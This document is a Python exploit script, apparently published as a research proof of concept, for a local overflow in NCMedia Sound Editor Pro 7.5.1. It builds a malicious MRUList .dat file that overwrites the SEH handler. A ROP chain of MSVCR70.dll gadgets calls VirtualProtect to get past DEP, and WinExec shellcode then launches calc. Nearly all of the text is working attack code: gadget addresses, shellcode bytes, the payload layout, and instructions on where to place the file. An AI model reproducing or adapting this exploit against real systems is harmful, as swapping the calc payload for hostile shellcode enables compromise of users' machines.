NCMedia Sound Editor Pro 7.5.1 – Local Overflow (SEH + DEP Bypass)
#!/usr/bin/python #---------------------------------------------------------------------------# # Exploit: NCMedia Sound Editor Pro v7.5.1 SEH&DEP # # Author: b33f - http://www.fuzzysecurity.com/ # # OS: Windows 7 Pro SP1 (probably universal across 32-bit) # # POC - Julien Ahrens XP SP3: http://www.exploit-db.com/exploits/21331/ # # Software: http://www.soundeditorpro.com/ # # HOWTO: put the *.dat file in [USER]\Roaming\Sound Editor Pro\ # # open -> click "File" menu -> calc ;)) # #---------------------------------------------------------------------------# # Curiously enough, the only thing that went through the mind of the # # ROP-Chain as it was executed was "Oh no, not again"! # #---------------------------------------------------------------------------# import sys, socket, struct file="MRUList201202.dat" #--------------------------------------------------------------------------------------------------------------# # Semi-Universal ROP chain based entirely on MSVCR70.dll which comes packaged with "NCMedia Sound Editor"... # #--------------------------------------------------------------------------------------------------------------# rop = struct.pack('<L',0x7c0126bc) # XCHG EAX,EBP # ADD AL,7C # RETN \ rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN | rop += struct.pack('<L',0x7C0390FD) # VirtualProtect() -> ESI=0 EBP=0 -> 7c039138(VP)-3B | MOV VP -> ESI rop += struct.pack('<L',0x7c023a4f) # ADD ESI,DWORD PTR DS:[EAX+EBP+3B] # RETN / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \ rop += struct.pack('<L',0xFFBF90EF) # NEG is -> 0x00406f11 : jmp esp [SoundEditorPro.exe] | JMP ESP -> EBP rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN [MSVCR70.dll] | rop += struct.pack('<L',0x7c0126b7) # XCHG EAX,EBP # ADD AL,7C # RETN / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \ rop += struct.pack('<L',0xFFFFFDFF) # Neg is 201-HEX (513-bytes) | Executable Size -> EBX rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN | rop += struct.pack('<L',0x7c01561c) # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c026484) # POP EDI # RETN \ ROP-NOP -> EDI rop += struct.pack('<L',0x7c034e02) # ROP-NOP / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \ rop += struct.pack('<L',0xFFFFFFC0) # NEG is 0x40 | newProtect -> EDX rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN | rop += struct.pack('<L',0x7c026dc4) # MOV EDX,EAX # INC ECX # MOVZX EAX,BYTE PTR DS:[ECX] # ADD EAX,EDX # RETN / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c034e01) # POP ECX # RETN \ RW lpOldProtect -> ECX rop += struct.pack('<L',0x7c049001) # lpOldProtect / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \ NOP padding -> EAX rop += struct.pack('<L',0x90909090) # NOP / #--------------------------------------------------------------------------------------------------------------# rop += struct.pack('<L',0x7c0126b6) # PUSHAD # XCHG EAX,EBP # ADD AL,7C # RETN | PUSHAD -> pwnd!! #--------------------------------------------------------------------------------------------------------------# #---------------------------------- # Greets to SkyLined, you do great work with shellcode!! #---------------------------------- calc = ( "\x31\xD2" # "\x52" # "\x68\x63\x61\x6C\x63" # Stack has arguments for "\x89\xE6" # WinExec -> calc "\x52" # "\x56" ######## "\x64\x8B\x72\x30" # "\x8B\x76\x0C" # "\x8B\x76\x0C" # Found Kernel32 "\xAD" # base address "\x8B\x30" # "\x8B\x7E\x18" ######## "\x8B\x5F\x3C" # Found export table offset "\x8B\x5C\x1F\x78" ######## "\x8B\x74\x1F\x20" # Found export names table "\x01\xFE" ######## "\x8B\x4C\x1F\x24" # Found export ordinals table "\x01\xF9" ######## "\x42" # "\xAD" # Found WinExec ordinal "\x81\x3C\x07\x57\x69\x6E\x45" # "\x75\xF5" ######## "\x0F\xB7\x54\x51\xFE" # "\x8B\x74\x1F\x1C" # "\x01\xFE" # Pop calc ;)) "\x03\x3C\x96" # "\xFF\xD7") # #---------------------------------- # badchars -> '\x00\x0d\x0a' # 0x0040e02a {pivot 1092} # ADD ESP,444 # RETN [SoundEditorPro.exe] # ROP-NOP Slide 0x7c034e02 [MSVCR70.dll] #---------------------------------- b00m = "\x90"*10 + calc poc = "\x02\x4E\x03\x7C"*61 + rop + b00m + "\x41"*(3880-len(rop + b00m)) + "\x2A\xE0\x40\x00" try: print "[*] Creating exploit file...\n" writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!" except: print "[!] Error while creating file!" |